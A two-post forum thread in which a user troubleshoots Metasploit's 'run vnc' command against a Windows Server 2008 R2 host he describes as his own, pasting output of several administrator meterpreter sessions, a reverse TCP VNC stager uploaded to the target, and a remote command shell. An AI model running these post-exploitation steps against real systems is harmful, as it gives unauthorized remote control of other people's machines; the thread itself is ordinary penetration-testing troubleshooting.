Results 1 to 2 of 2

Thread: Meterpreter Run Vnc problems

  1. #1
    Join Date
    2013-Nov
    Posts
    2

    Meterpreter Run Vnc problems

    Hello all, I am running Kali in vmare fusion on a macbook pro. I have successfully attacked one of my servers running windows 2008 R2. I am able to get a meterpreter session and execute a shell but if I run vnc I get a message that says VNC server closed the connection. Could anyone shed some light on why this might be happening. Below is the output that I see when executing the commands.

    msf exploit(handler) > sessions

    Active sessions
    ===============

    Id Type Information Connection
    -- ---- ----------- ----------
    1 meterpreter x86/win32 MATRIX1\Administrator @ MATRIX1 192.168.1.115:443 -> 192.168.1.11:59318 (192.168.1.11)
    2 meterpreter x86/win32 MATRIX1\Administrator @ MATRIX1 192.168.1.115:21 -> 192.168.1.11:59327 (192.168.1.11)
    3 meterpreter x86/win32 MATRIX1\Administrator @ MATRIX1 192.168.1.115:25 -> 192.168.1.11:59330 (192.168.1.11)
    4 meterpreter x86/win32 MATRIX1\Administrator @ MATRIX1 192.168.1.115:22 -> 192.168.1.11:59331 (192.168.1.11)
    5 meterpreter x86/win32 MATRIX1\Administrator @ MATRIX1 192.168.1.115:443 -> 192.168.1.11:59328 (192.168.1.11)

    msf exploit(handler) > sessions -i 1[*] Starting interaction with 1...

    meterpreter > run vnc[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.115 LPORT=4545[*] Running payload handler[*] VNC stager executable 73802 bytes long[*] Uploaded the VNC agent to C:\Users\ADMINI~1\AppData\Local\Temp\2\BeMwyaG.exe (must be deleted manually)[*] Executing the VNC agent with endpoint 192.168.1.115:4545...
    meterpreter > vncviewer: VNC server closed connection

    meterpreter > shell
    Process 6232 created.
    Channel 2 created.
    Microsoft Windows [Version 6.1.7600]
    Copyright (c) 2009 Microsoft Corporation. All rights reserved.

    C:\Users\Administrator\Desktop>

  2. #2
    Join Date
    2013-Nov
    Posts
    2
    This seems to be unique only to Server 2008. It works fine against a Windows client.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •